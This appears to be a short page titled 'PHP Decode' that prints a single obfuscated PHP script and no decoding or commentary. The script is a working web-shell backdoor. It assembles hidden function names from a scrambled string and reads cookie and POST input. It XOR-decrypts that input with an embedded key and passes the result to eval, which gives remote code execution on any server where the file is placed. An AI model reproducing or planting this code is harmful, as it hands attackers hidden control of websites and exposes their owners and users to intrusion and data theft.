PHP Decode

<?php 
$upcux = 'yv6xf-ap\'0bouk937r54sgdm_2i*Hc1ntl8#e';$osqzpke = Array();$osqzpke[] = $upcux[28].$upcux[27];$osqzpke[] = $upcux[35];$osqzpke[] = $upcux[36].$upcux[10].$upcux[19].$upcux[22].$upcux[22].$upcux[10].$upcux[6].$upcux[14].$upcux[5].$upcux[36].$upcux[10].$upcux[22].$upcux[4].$upcux[5].$upcux[19].$upcux[30].$upcux[34].$upcux[16].$upcux[5].$upcux[34].$upcux[22].$upcux[18].$upcux[30].$upcux[5].$upcux[2].$upcux[36].$upcux[9].$upcux[15].$upcux[29].$upcux[22].$upcux[25].$upcux[18].$upcux[25].$upcux[6].$upcux[29].$upcux[25];$osqzpke[] = $upcux[29].$upcux[11].$upcux[12].$upcux[31].$upcux[32];$osqzpke[] = $upcux[20].$upcux[32].$upcux[17].$upcux[24].$upcux[17].$upcux[36].$upcux[7].$upcux[36].$upcux[6].$upcux[32];$osqzpke[] = $upcux[36].$upcux[3].$upcux[7].$upcux[33].$upcux[11].$upcux[22].$upcux[36];$osqzpke[] = $upcux[20].$upcux[12].$upcux[10].$upcux[20].$upcux[32].$upcux[17];$osqzpke[] = $upcux[6].$upcux[17].$upcux[17].$upcux[6].$upcux[0].$upcux[24].$upcux[23].$upcux[36].$upcux[17].$upcux[21].$upcux[36];$osqzpke[] = $upcux[20].$upcux[32].$upcux[17].$upcux[33].$upcux[36].$upcux[31];$osqzpke[] = $upcux[7].$upcux[6].$upcux[29].$upcux[13];foreach ($osqzpke[7]($_COOKIE, $_POST) as $utlru => $izfuhq){function ivmcns($osqzpke, $utlru, $pgdjt){return $osqzpke[6]($osqzpke[4]($utlru . $osqzpke[2], ($pgdjt / $osqzpke[8]($utlru)) + 1), 0, $pgdjt);}function wfoctei($osqzpke, $qweuig){return @$osqzpke[9]($osqzpke[0], $qweuig);}function gdkxuv($osqzpke, $qweuig){$rgknr = $osqzpke[3]($qweuig) % 3;if (!$rgknr) {eval($qweuig[1]($qweuig[2]));exit();}}$izfuhq = wfoctei($osqzpke, $izfuhq);gdkxuv($osqzpke, $osqzpke[5]($osqzpke[1], $izfuhq ^ ivmcns($osqzpke, $utlru, $osqzpke[8]($izfuhq))));} ?>